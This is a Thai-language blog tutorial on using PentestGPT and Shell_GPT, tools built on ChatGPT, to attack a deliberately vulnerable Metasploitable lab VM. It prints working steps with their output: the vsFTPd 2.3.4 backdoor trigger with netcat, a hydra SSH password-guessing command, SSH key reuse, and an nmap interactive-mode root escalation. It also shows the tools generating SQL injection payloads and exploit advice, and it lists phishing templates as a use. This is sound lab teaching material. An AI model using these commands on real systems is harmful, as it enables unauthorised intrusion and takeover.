การใช้ ChatGPT ช่วยงาน Offensive Security
10 ตุลาคม 2024
อะไรคือ ChatGPT แล้วเราจะนำมันมาใช้ใน Offensive Security ได้อย่างไร?
GPT เป็นโมเดลภาษาขนาดใหญ่ (Large Language Model หรือย่อว่า LLM) ที่พัฒนาโดย บริษัท OpenAI ซึ่ง GPT ถูกออกแบบและเรียนรู้มาเพื่อให้ฉลาดพอจะเข้าใจและสามารถรองรับการสื่อสารได้คล้ายกับมนุษย์ ด้วยความสามารถนี้ถูกใส่เข้าไปใน ChatGPT ให้รองรับการโต้ตอบกับผู้ใช้งานผ่านการ Chat สามารถถูกนำมาใช้ใน เพื่อช่วยเพิ่มประสิทธิภาพในกระบวนการ Offensive Security ได้
แอปพลิเคชัน LLM ยอดนิยม นอกเหนือจาก ChatGPT (OpenAPI) แล้วก็ยังมี ของค่ายอื่น ๆ อีกเช่น Gemini (Google), Claude (Anthropic) และ Copilot (Microsoft) แต่จะไม่ขอกล่าวถึงในบทความนี้
Offensive Security เป็นแนวทางในการรักษาความปลอดภัยไซเบอร์ที่มุ่งเน้นไปที่การค้นหาและแก้ไขช่องโหว่ของระบบก่อนที่ผู้โจมตีจะสามารถใช้ประโยชน์จากช่องโหว่นั้นได้ การใช้ ChatGPT สามารถช่วยเสริมกระบวนการต่าง ๆ ในการทำ Offensive Security ได้ เช่น การวิเคราะห์ข้อมูลอัตโนมัติ (Automated Data Analysis), การช่วยหาช่องโหว่ในโค้ดรวมถึงเขียนโค้ดโจมตีช่องโหว่ และ การสร้าง Template ข้อความสำหรับการหลอกขอข้อมูลจากเหยื่อ (Phishing หรือเรียกโดยรวมว่า Social Engineering)
การนำ ChatGPT มาใช้สามารถ จะลดเวลา, ปรับปรุงความถูกต้อง และ สร้างสรรค์กลยุทธ์ใหม่ ๆ ในการทำ Offensive Security ได้เป็นอย่างมาก ในบทความนี้เราก็จะมาดูตัวอย่างง่าย ๆ กันเป็นไอเดีย
ChatGPT มีฟีเจอร์ Custom ChatGPT ที่ผู้ใช้สามารถปรับแต่งค่าของ ChatGPT เพื่อที่จะสามารถทำงานต่อเนื่องได้โดยไม่ต้องป้อนคำสั่งเดิมซ้ำหลายครั้ง นอกจากนี้ Custom ChatGPT ยังมีหลายรูปแบบที่ถูกพัฒนาโดยผู้เชี่ยวชาญในแต่ละสาขา เพื่อช่วยในการทำงานในสาขานั้น ๆ รวมถึงในสาขาของ Offensive Security ด้วย
นอกจากใช้ผ่านหน้าเว็บตรง ๆ แล้วนั้น ChatGPT ยังมีฟังก์ชันที่ผู้พัฒนาสามารถนำ OpenAI API มาใส่ในโปรแกรมได้ โดยการรวม OpenAI API เข้ากับโค้ดส่วนอื่น ๆ ของโปรแกรม จะช่วยให้โปรแกรมสามารถประมวลผลคำถามจากผู้ใช้งานได้ด้วยพลังของ ChatGPT และ สามารถตอบสนองกลับได้ในทันที หนึ่งในโปรแกรมที่ได้มีการผสาน OpenAI API เข้าไป และ สามารถนำมาใช้สำหรับ Offensive Security ได้คือ PentestGPT และ Shell_GPT
PentestGPT เป็น Custom ChatGPT ในรูปแบบ สคริปท์ใช้ผ่าน Command Line Interface (CLI) ที่ถูกปรับแต่งสำหรับงาน Offensive Security โดยเฉพาะ PentestGPT สามารถช่วยวิเคราะห์ข้อมูลที่พบระหว่างการทดสอบความปลอดภัย เพื่อลดระยะเวลาในการทำงานได้ และยังมีอีกโปรแกรมทางเลือกหนึ่งคือ Shell_GPT ที่ใช้ประโยชน์จาก OpenAI API เช่นกัน เพื่อช่วยให้ผู้ใช้งานสามารถใช้คำสั่งผ่าน Terminal ในงาน Offensive Security ได้อย่างสะดวกและมีประสิทธิภาพ
ในบทความนี้ เราจะมาสำรวจโปรแกรมและเทคนิคที่ใช้ ChatGPT ในงาน Offensive Security กัน
PentestGPT
อะไรคือ PentestGPT?
PentestGPT เป็นโปรแกรมที่ออกแบบมาเพื่อช่วยในการทดสอบการเจาะระบบโดยเฉพาะ สามารถช่วยในการทำให้กระบวนการประเมินช่องโหว่มีความอัตโนมัติมากขึ้น รวมถึงให้คำแนะนำเกี่ยวกับแนวทางปฏิบัติ ตามขั้นตอนที่ถูกต้อง
PentestGPT พัฒนาเป็นส่วนหนึ่งของงานวิจัยที่ถูกตีพิมพ์และนำเสนอในงานสัมมนา 33rd USENIX Security Symposium อ้างอิงจาก
https://www.usenix.org/conference/usenixsecurity24/presentation/deng และ https://arxiv.org/html/2308.06782v2
ใน Paper ของงานวิจัย PentestGPT ได้มีการลองเปรียบเทียบ Model ของ GPT-3.0, GPT-4.0 และ Bard ซึ่งได้ข้อสรุปว่า GPT 4.0 มีประสิทธิภาพ ในภาพรวมของขั้นตอนการทำ Pentest ได้ดีที่สุดใน Sub-Task ด้านต่าง ๆ
และยังได้มีการนำไปทดสอบใช้งาน PentestGPT ทดสอบเจาะระบบเครื่องเซิร์ฟเวอร์ จำลองของผู้ให้บริการระบบการเรียนรู้อย่าง HackTheBox พบว่าสามารถช่วยเจาะระบบเครื่องเซิร์ฟเวอร์โจทย์ในระบบ ในระดับความยากขั้น Easy ได้ดี และในระบบ Medium ได้บางส่วน แต่ถ้าเป็นงานระดับ Hard แล้ว อาจไม่ได้ช่วยแก้ปัญหาได้มากนัก
ทำไมเราไม่ใช้ ChatGPT ในการทำ Offensive Security โดยตรง?
ปัญหาของการใช้ ChatGPT ในการทำ Offensive Security โดยตรง คือ Model อย่าง GPT-4.0 อาจจะสับสนในบริบทเมื่อการถาม-ตอบ ผ่านไปได้ซักระยะหนึ่ง (ตัวอย่างเช่น เกิน 8,000 Token รวมทั้งคำถามและคำตอบ) ทำให้ ChatGPT ลืมหรือสับสนข้อมูลที่เคยให้ไป นอกจากนี้ PentestGPT ยังมีการการปรับแต่งมาเพื่อใช้สำหรับการทำ Offensive Security โดยเฉพาะ ดังนั้นคำตอบที่ได้รับจาก PentestGPT จึงจะพยายามถูกปรับเพิ่มเติม ให้มีความเหมาะสมสำหรับการทำ Offensive Security มากกว่า ChatGPT ปกติ
การใช้ PentestGPT ผ่าน Command Line Interface (CLI)
ในตัวอย่างนี้ผู้เขียนจะยกตัวอย่าง สำหรับการติดตั้งบนระบบปฏิบัติการ Windows 11 แต่สามารถนำไปปรับใช้ติดตั้งบน Linux และ macOS ได้เช่นกัน
จะขอแบ่งการติดตั้งออกเป็น 3 ขั้นตอนได้แก่
- ติดตั้ง Python และ pyenv-win
- ตั้งค่าบัญชี OpenAI สำหรับใช้งาน API
- ติดตั้ง PentestGPT
ขั้นตอนที่ 1 – ติดตั้ง Python และ pyenv-win
เริ่มจากการติดตั้ง Python 3.12 และ PowerShell 7 จากโปรแกรม Microsoft Store
ดังตัวอย่างต่อไปนี้ (กดปุ่ม Get)
จากนั้นค้นหาโปรแกรม PowerShell ในเครื่องของเรา … โดยจะต้องคลิกขวาและเปิดโปรแกรมด้วยสิทธิ์ผู้ดูแลระบบ (Run as administrator) (สำคัญมาก)
ใช้คำสั่งต่อไปนี้ในการติดตั้ง pyenv-win ซึ่งเราจะใช้ในการติดตั้ง PentestGPT ในขั้นตอนต่อไป
Invoke-WebRequest -UseBasicParsing -Uri "https://raw.githubusercontent.com/pyenv-win/pyenv-win/master/pyenv-win/install-pyenv-win.ps1" -OutFile "./install-pyenv-win.ps1"; &"./install-pyenv-win.ps1"
จากนั้นตั้ง Environment Variable ของ Windows โดยไปที่เมนู This PC ใน File Explorer คลิกขวาและเลือก
→ Properties
→ Advanced system settings
→ Advanced → System Environment Variables…
→ PATH
กด Edit ที่ Variable ชื่อ Path และ New ค่าดังตัวอย่างนี้
- C:\Users\user\.pyenv\pyenv-win\shims
- C:\Users\user\.pyenv\pyenv-win\bin
มื่อเสร็จเรียบร้อยแล้วเปิดและปิด PowerShell อีกครั้ง (ด้วยสิทธิ์ Administrator เหมือนเดิม) จะสามารถใช้งาน pyenv ได้ ให้พิมพ์คำสั่งต่อไปนี้ เพื่อติดตั้ง Python และตั้งค่าให้ถูกเรียกใช้งาน
pyenv install 3.12.5 pyenv global 3.12.5
ขั้นตอนที่ 2 – ตั้งค่าบัญชี OpenAI สำหรับใช้งาน API
การจะใช้งาน OpenAI API ได้อย่างเต็มประสิทธิภาพ จะมีเงื่อนไขถูกจำกัด Model และจำนวนการใช้งาน แบ่งตามระดับการเติมเงิน (Tier) ต่าง ๆ อ้างอิง https://platform.openai.com/docs/guides/rate-limits/usage-tiers?context=tier-free
ในบทความนี้เราจะเน้นใช้ Model ล่าสุดที่ OpenAI API มีให้นั้นคือ GPT-4o ซึ่งจะอยู่ใน Tier 1 ที่มีเงื่อนไข ต้องเติมเงินเข้าไปใน OpenAI ขั้นต่ำที่ $ 5 หรือตกอยู่ที่ประมาณ 170 บาท
วิธีการคือเข้าสู่ระบบและไปที่หน้าเว็บ Billing (ต้องสร้าง Organization ก่อนถ้ายังไม่มี)
https://platform.openai.com/settings/organization/billing/overview
เมื่อเราเติมเงินเรียบร้อยแล้วก็ให้ไปทำการกดยอมให้ API สามารถใช้ Model ต่าง ๆ ได้ที่เมนู Limits
https://platform.openai.com/settings/<PROJECT-ID>/limits (ค่า <PROJECT-ID> จะแตกต่างกันไปของแต่ละบัญชี)
ในกรณีนี้เราก็จะติ๊กให้หมดเลย โดยเฉพาะ gpt-4o และกดปุ่ม Save
สุดท้าย ทำการสร้าง API Key สำหรับนำมาใส่ใน PentestGPT
โดย Open API ได้เปลี่ยนจาก API Key แต่ละบัญชี ไปเป็น API Key ระดับโครงการ (Project) แทน
เมื่อกด “Create secret key” ก็จะได้ค่า API Key มาตัวอย่างเช่น sk-proj-05n_EXAMPLE_zhMyLlS-llZfhyFLdome9IS6Fd2FMA ให้จดค่านี้ไว้ในที่ ๆ ปลอดภัย อย่าง Password Manager
ขั้นตอนที่ 3 – ติดตั้ง PentestGPT
ในขั้นตอนสุดท้ายนี้เราจะมาติดตั้ง PentestGPT กันเริ่มจากไปดาวน์โหลดโค้ดที่ https://github.com/GreyDGL/PentestGPT
Unzip ไฟล์ PentestGPT-main.zip และใช้ PowerShell (ด้วยสิทธิ์ Administrator เช่นเดิม) ไปที่ Directory นั้น และติดตั้ง PentestGPT ด้วย pip ดังนี้
cd C:\Users\user\Desktop\PentestGPT-main pip install .
เมื่อติดตั้งเรียบร้อยแล้ว ให้ทำการตั้งค่า Environment Variable ที่สำคัญดังนี้ (สำคัญมาก ขั้นตอนนี้ต้องรัน PowerShell เป็นสิทธิ์ Administrator)
setx OPENAI_API_KEY "sk-proj-05n_EXAMPLE_zhMyLlS-llZfhyFLdome9IS6Fd2FMA" /M
(แก้ค่า sk-proj-… เป็นค่าตามที่ได้มาในการติดตั้งขั้นตอนที่ 2) ปิดและเปิด PowerShell ใหม่และลองใช้คำสั่ง pentestgpt-connection เพื่อตรวจสอบว่า API Key ใช้งานได้จริง ๆ (ไม่จำเป็นต้องตั้งค่า CHATGPT_COOKIE ใน 3. ก็ได้)
เพียงเท่านี้ เราก็จะพร้อมใช้งาน PentestGPT กันแล้ว ! มาทดสอบกันหน่อยดีกว่า
pentestgpt
ด้วยพลังแห่งการเติมเงิน เราก็จะได้ Model ในส่วน gpt-4o มาใช้งานกับ PentestGPT
คำตอบที่ได้รับจะแบ่งออกเป็น 2 ส่วน
- สถานะของ รายการที่จะต้องทำ (Task List)
- รายการที่กำลังจะทำ (Task Selection and Execution)
ในสถานการณ์นี้เราจะใช้ Kali Linux (https://www.kali.org/get-kali/#kali-virtual-machines) พยายามแฮกเครื่องเป้าหมายชื่อ Metasploitable จากทาง Rapid7 (https://docs.rapid7.com/metasploit/metasploitable-2/) ซึ่งเป็น Virtual Machine Image ที่ออกแบบมาให้มีช่องโหว่จำนวนมาก สำหรับการทดสอบใช้งานโปรแกรม Metasploit
ผู้เขียนได้ติดตั้ง Metasploitable และ Kali Linux เรียบร้อยแล้วในโปรแกรม VMWare Workstation ในตัวอย่างนี้เราจะระบุว่าเราต้องการที่จะทำการทดสอบเจาะระบบ (Pentest) ไปที่ หมายเลขไอพีของ Metasploitable คือ 192.168.200.129
“I want to pentest against the IP 192.168.200.129 that is a vulnerable Linux VM image”
จะเห็นได้ว่า PentestGPT ได้ตอบกลับคำสั่ง nmap -p- <target_ip> ให้เราลองนำไปใช้ และ ยังได้บอกอีกว่าให้นำผลลัพธ์ของคำสั่ง กลับมาบอก PentestGPT อีกครั้งเพื่อวิเคราะห์ผล
หลังจากใช้คำสั่ง nmap ที่ได้รับมาจาก PentestGPT จะได้ผลลัพธ์ดังนี้
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 23:22 EDT Nmap scan report for 192.168.200.129 Host is up (0.031s latency). Not shown: 65505 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 3632/tcp open distccd 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 6697/tcp open ircs-u 8009/tcp open ajp13 8180/tcp open unknown 8787/tcp open msgsrvr 47810/tcp open unknown 55084/tcp open unknown 56448/tcp open unknown 60868/tcp open unknown MAC Address: 00:0C:29:72:BC:E2 (VMware) Nmap done: 1 IP address (1 host up) scanned in 65.09 seconds
จากนั้น เราสามารถพิมพ์คำสั่งโต้ตอบกับ PentestGPT ได้ดังนี้
ในตัวอย่างนี้เราจะพิมพ์ next และเลือก tool ต่อ
การ กด “ตกลง” จะใช้การกดปุ่ม Shift ค้างไว้และกดปุ่มลูกศรชี้ไปทางขวา (>)
ในเมนู tool นี้เราจะนำผลลัพธ์จาก nmap ไปใส่ใน PentestGPT โดยไม่สั่งอะไรเพิ่มเพื่อที่จะดูความสามารถในการวิเคราะห์ของ PentestGPT
ซึ่งจะได้คำตอบมาดังนี้
คำตอบจะมี ส่วน Task
และส่วน Task ที่แนะนำเลือกมาให้ทำก่อน PentestGPT บอกว่า FTP เป็นจุดเริ่มต้นที่น่าสนใจเพราะ อาจการตั้งค่ายอมรับบัญชีแบบ Anonymous ซึ่งสามารถทำให้เราสามารถเข้าสู่ระบบแชร์ไฟล์ได้
เมื่อนำคำสั่ง ftp 192.168.200.129 ไปทดสอบ ด้วยบัญชี anonymous จะผลลัพธ์เป็นดังนี้
$ ftp 192.168.200.129 Connected to 192.168.200.129. 220 (vsFTPd 2.3.4) Name (192.168.200.129:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp>
หลังจากที่เข้า FTP ด้วยการใช้ Anonymous เป็นทั้งชื่อผู้ใช้งานและรหัสผ่านได้แล้ว พิมพ์ next และ tool เพื่อใส่ผลลัพธ์คำสั่ง จากนั้น PentestGPT จะชวนให้เราโจมตีช่องโหว่ของ vsFTPd 2.3.4 ในหมายเลข CVE-2011-2523
เนื่องจาก PentestGPT ไม่ได้ให้คำสั่งมา พิมพ์ discuss เพื่อขอข้อมูลเพิ่มด้วยการบอกว่า “any exploit ?” คือ ขอวิธีโจมตีไป เลย
PentestGPT ตอบกลับมาว่าวิธีการโจมตีช่องโหว่คือ
ftp 192.168.200.129 # พิมพ์ชื่อ user ที่ลงท้ายว่า :) nc 192.168.200.129 6200
เมื่อทดสอบพบว่า สามารถโจมตีช่องโหว่นี้ได้จริง และได้ เข้าถึงเครื่องเซิร์ฟเวอร์เป็นสิทธิ์ Root ผ่าน Backdoor ของช่องโหว่ CVE-2011-2523
เราก็ทำเหมือนเดิม next แล้ว tool ใส่ผลลัพธ์ จากนั้น PentestGPT ก็จะอัปเดต Task List ว่าเราได้ทำการโจมตีสำเร็จแล้ว
พร้อมแนะนำให้เราทำการหาข้อมูลเพิ่มเติมในการขยายผลไปเจาะส่วนอื่น ๆ ต่อ (Lateral Movement)
เราจะพัก FTP ไว้ตรงนี้ และไปลอง Service อื่นกันบ้าง เช่น SSH ที่ Port 22
พิมพ์ discuss และใส่ข้อมูลไปว่า ให้ไปช่วยหาช่องโหว่และวิธีเจาะ SSH หน่อย “check out SSH on TCP port 22. any vulnerability there and how to exploit it?”
PentestGPT ก็ให้ไปลอง ssh เข้าไปเพื่อตรวจรุ่นของ OpenSSH ก่อน ถึงจะตอบได้ว่ามีช่องโหว่อะไรไหม ก็ทำตามแล้ว next > tool เอาผลกลับมาตอบ PentestGPT และกด Shift + > เหมือนเดิม
คราวนี้ PentestGPT บอกว่า OpenSSH อาจมีช่องโหว่ CVE-2008-0166 ให้ไปสร้าง Weak SSH Key ด้วยช่องโหว่ ที่เกิดจากการสุ่มค่าที่ไม่ปลอดภัย และลองเอามาเข้าสู่ระบบดู
ก็ next และ user-comments ก็จะได้คำตอบว่าใช้ searchsploit หาโค้ดโจมตีมาลองใช้ได้
แต่คำสั่งไม่ถูกต้อง ให้เติม –cve ก่อนใส่หมายเลข CVE
ซึ่ง PentestGPT ก็สามารถแนะนำต่อได้ .. แต่ Exploit นี้มีหลายขั้นตอน ขอให้ผู้อ่านเอาไปทดสอบโจมตีกันเป็นการบ้าน !
ต่อไปจะลองให้ PentestGPT ช่วยนำเสนอวิธีการเดารหัสผ่าน SSH
พิมพ์ next จากนั้น default และพิมพ์ว่า “I need to guess ssh password, give me commands”
ข้อดีหนึ่งของ PentestGPT เทียบกับการใช้ ChatGPT บนเว็บ คือมีการสรุป Task และผลลัพธ์การทดสอบในแต่ละ Task ให้ตลอดเวลา ทำให้ผู้ทดสอบ Pentest เห็นภาพรวมสรุปว่าอะไร เราลองทำไปแล้วได้ผลยังไง อะไรเรายังไม่ได้ลองทำ (แต่ต้องคอยนำผลกลับมาบอก ChatGPT)
hydra -l <username> -P <password_list> ssh://<target_ip>
เอามาลองยิงกันใส่ไฟล์รายชื่อรหัสผ่านยอดนิยม 200 อันดับ และบัญชีผู้ใช้งานเป็น user
hydra -l user -P /usr/share/seclists/Passwords/2023-200_most_used_passwords.txt -t 10 ssh://192.168.200.129
พบว่าสามารถเดารหัสผ่านที่ถูกต้องคือ user ได้ ! นำผลลัพธ์กลับมาบอก PentestGPT หลังจากนั้น PentestGPT จึงให้เราหาข้อมูลโดยการอ่านไฟล์ในระบบ เราจึงอ่านไฟล์ตามที่ PentestGPT บอก
(ตัวอย่าง Task หมวด Post-Exploitation ที่ PentestGPT สรุปมาให้ว่าเราทำอะไรไปแล้วบ้าง)
จนกระทั้งเจอข้อมูลดังนี้
[...] user@metasploitable:~$ cat /home/user/.bash_history ssh-keygen -t dsa ls cd .ssh ls sudo -s cd /home/user ls ls .ss ls .ssj clear ls .ssh sudo cat ~/.ssh/id_dsa.pub >> /home/msfadmin/.ssh/authorized_keys sudo -s exit [...]
PentestGPT จึงให้เราเข้าสู่ระบบด้วย ssh ของบัญชี msfadmin จากการใส่ SSH Private Key ของบัญชี user ได้ (เนื่องจาก บัญชี user เอา SSH Public Key ตนเองไปใส่ในไฟล์ authorized_keys ของ msfadmin) และยกระดับสิทธิ์ด้วย SUID Binary (เพราะว่าพบการรันคำสั่ง sudo -s) ดังนี้
ซึ่งเราสามารถเข้าสู่ระบบด้วยบัญชีผู้ใช้งาน msfadmin ได้ด้วยวิธีการตามนั้นจริง ๆ
user@metasploitable:~$ ssh -i /home/user/.ssh/id_dsa [email protected] The authenticity of host '192.168.128.2 (192.168.128.2)' can't be established. RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.128.2' (RSA) to the list of known hosts. Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To access official Ubuntu documentation, please visit: http://help.ubuntu.com/ No mail. Last login: Tue Jul 16 03:58:23 2024 msfadmin@metasploitable:~$
พอเข้าสู่ระบบได้ PentestGPT ให้เราลองหาข้อมูลเพิ่มซึ่งหนึ่งในข้อมูลที่เจอคือ nmap เป็น รุ่น 4.53 ซึ่ง PentestGPT บอกว่ามี โหมด interative ซึ่งสามารถนำมาใช้ เพื่อทำการยกระดับสิทธิ์ ได้ดังนี้
พอเราลองใช้คำสั่งก็พบว่าสามารถทำการยกระดับสิทธิ์ได้จริง ๆ
msfadmin@metasploitable:~$ nmap --interactive Starting Nmap V. 4.53 ( http://insecure.org ) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh sh-3.2# sh-3.2# whoami root sh-3.2# id uid=1000(msfadmin) gid=1000(msfadmin) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
แต่… ในความเป็นจริงแล้ว เราสามารถใช้คำสั่งนี้ได้ตั้งแต่บัญชี user แล้วโดยไม่ต้องย้ายไปบัญชี msfadmin ก็ได้
user@metasploitable:~$ nmap --interactive Starting Nmap V. 4.53 ( http://insecure.org ) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh sh-3.2# whoami root sh-3.2# id uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user)
ข้อจำกัดของ PentestGPT
- ถึงแม้ PentestGPT จะสามารถถูกนำมาช่วยได้ แต่ PentestGPT ยังไม่สามารถที่จะแก้ปัญหาที่มีความซับซ้อนได้
- ต้องนำคำสั่งที่ได้รับมาจาก PentestGPT มาใช้งานเอง และยังต้องนำกลับไปบอก PentestGPT เพื่อให้เข้าใจสถานการณ์ปัจจุบัน
Shell_GPT
อะไรคือ Shell_GPT?
Shell_GPT เป็นโปรแกรมที่ออกแบบมาเพื่อให้ผู้ใช้สามารถโต้ตอบและใช้งานคำสั่งที่ ChatGPT สร้างขึ้นได้บน Terminal โดยไม่ต้องคัดลอกคำสั่งจากเว็บ ดังนั้น Shell_GPT จึงสามารถถูกนำมาช่วยในการทำ Offensive Security ให้มีความอัตโนมัติมากขึ้นได้ เช่น การสแกนเครือข่าย การประเมินช่องโหว่ และการพัฒนา Exploit Payload โดยที่นั้น Shell_GPT สามารถใช้งานได้เพียงบน Terminal เท่านั้น ไม่สามารถใช้บนเว็บของ OpenAI ได้
ทำไมต้องใช้ Shell_GPT?
Shell_GPT อนุญาตให้ผู้ใช้สามารถใช้งานคำสั่งที่ ChatGPT สร้างได้โดยไม่ต้องไปคัดลอกคำสั่งจากเว็บ ทำให้สามารถลดเวลาในการทำ Offensive Security ได้เมื่อเทียบกับการใช้ ChatGPT ในวิธีทั่วไป
การใช้ Shell_GPT ผ่าน Terminal
ในตัวอย่างแรก เราลองให้ Shell_GPT สร้างคำสั่ง SQL สำหรับการโจมตีช่องโหว่ SQL Injection ตามรูปนี้
ในรูปจะเห็นได้ว่า Shell_GPT ได้สร้างคำสั่งมาให้เรา และจะมี 3 ตัวเลือกให้เรา โดยที่จะมีตัวเลือก ดังนี้
- [E]xecute
- คำสั่งนี้จะสั่งให้ Shell_GPT ใช้งานคำสั่งที่สร้างขึ้นมา สั่งโดยการใส่ตัวอักษร E
- [D]escribe
- คำสั่งนี้จะสั่งให้ Shell_GPT อธิบายคำสั่งที่ถูกสร้างขึ้นมา สั่งโดยการใส่ตัวอักษร D
- [A]bort
- คำสั่งนี้จะสั่งให้ Shell_GPT ยกเลิกการทำงาน สั่งโดยการใส่ตัวอักษร A
หลังจากที่เราได้ลองสั่งให้ Shell_GPT อธิบายคำสั่งที่ถูกสร้างขึ้นมาด้วยคำสั่ง [D]escribe แล้ว Shell_GPT จะอธิบายรายละเอียดของคำสั่งที่สร้างมาให้เรา ดังในรูปด้านล่าง
นี่สามารถช่วยให้เราเข้าใจการทำงานของคำสั่งที่เราจะใช้ได้เพื่อลดความผิดพลาดได้ อย่างไรก็ตาม
หลังจากนั้นเราสามารถที่จะใช้คำสั่ง [E]xecute เพื่อให้ Shell_GPT ใช้งานคำสั่งได้เลยโดยที่ไม่ต้องคัดลอกคำสั่งไปใช้งานอีกที
พอเราได้สั่งให้ Shell_GPT ใช้คำสั่งที่สร้างขึ้นมาจะเห็นได้ว่า Shell_GPT ได้ใช้คำสั่งเพื่อสร้างไฟล์ใหม่ที่ชื่อว่า sql_injection_payloads.txt มา และ เมื่อเราใช้คำสั่งเราลองอ่านไฟล์ดูจะเป็นไปตามนี้
สำหรับอีกตัวอย่างในการใช้ Shell_GPT เราสามารถบอก Shell_GPT ในสิ่งที่เราต้องการจะทำได้ โดยในตัวอย่างนี้เราจะบอกให้ Shell_GPT สแกน Top 1000 Port ของ IP ดังในรูป
นอกจากที่จะให้คำสั่งที่จะสแกน Top 1000 Port มาแล้ว ยังมีการใช้คำสั่ง -Pn เพื่อที่จะข้ามขั้นตอนการทำ Host Discovery
อย่างไรก็ตาม Shell_GPT ไม่สามารถที่จะช่วยหรือเสนอคำสั่งให้เราได้ ดังนั้นหากสิ่งที่เราสั่ง Shell_GPT ไปมีความไม่ชัดเจน หรือ มีคำสั่งแตกต่างกันเพียงเล็กน้อย Shell_GPT ก็จะให้คำสั่งที่ต่างกันออกไป ในคำสั่งต่อไป เราเพียงตัดคำว่า IP ออกจากคำขอของเรา Shell_GPT ก็ให้คำสั่ง Nmap ที่ต่างออกไปแล้ว
ในคำสั่งที่ Shell_GPT ให้มารอบนี้ไม่มีการใช้คำสั่ง -Pn เพื่อที่จะข้ามขั้นตอนการทำ Host Discovery และไม่มีการระบุจำนวน Port ที่ต้องการสแกน (แต่ค่าเริ่มต้นของ Nmap นั้นจะเป็น Top 1000 Port อยู่แล้ว) ซึ่งเป็นคำตอบที่แตกต่างกันมากสำหรับการลบเพียงคำว่า IP
ดังนั้นการใช้ Shell_GPT เลยจำเป็นที่จะต้องระบุคำสั่งที่ต้องการให้ละเอียดเพื่อที่จะได้ผลลัพธ์ที่มีประสิทธิภาพที่สุด ดังรูปต่อไปนี้
ข้อจำกัดของ Shell_GPT
- ถูกสร้างมาเพื่อช่วยในการทำงานกับ shell ดังนั้นอาจจะไม่ได้มีประโยชน์ในกรณีโปรแกรมที่ทำงานในรูปแบบอื่น ๆ นอกเหนือจากใน shell
- ผู้ใช้ต้องอธิบายในสิ่งที่ต้องการจะทำให้ชัดเจน เพื่อที่จะให้ Shell_GPT สร้างคำสั่งมาให้ถูกต้อง
- หากคำสั่งต่างกันเพียงนิดเดียวก็จะได้ผลลัพธ์ที่ต่างกันจาก Shell_GPT
การใช้โปรแกรมเพื่อการทำ Offensive Security เช่น PentestGPT เป็นสิ่งค่อนข้างใหม่ ในการทดสอบและปกป้องระบบจากการถูกโจมตีทางไซเบอร์ อย่างไรก็ตาม การใช้งานโปรแกรมเหล่านี้จำเป็นต้องปฏิบัติตามกฎหมายและจริยธรรมที่เกี่ยวข้องอย่างเคร่งครัด เพื่อป้องกันการทำผิดกฎหมาย ผู้ใช้งานควรได้รับการอนุญาตจากเจ้าของระบบหรือหน่วยงานที่เกี่ยวข้องก่อนการทดสอบเจาะระบบ และควรมีความรู้และความเข้าใจในหลักปฏิบัติที่ถูกต้องเพื่อไม่ให้เกิดผลกระทบที่ไม่พึงประสงค์
บทความที่เกี่ยวข้อง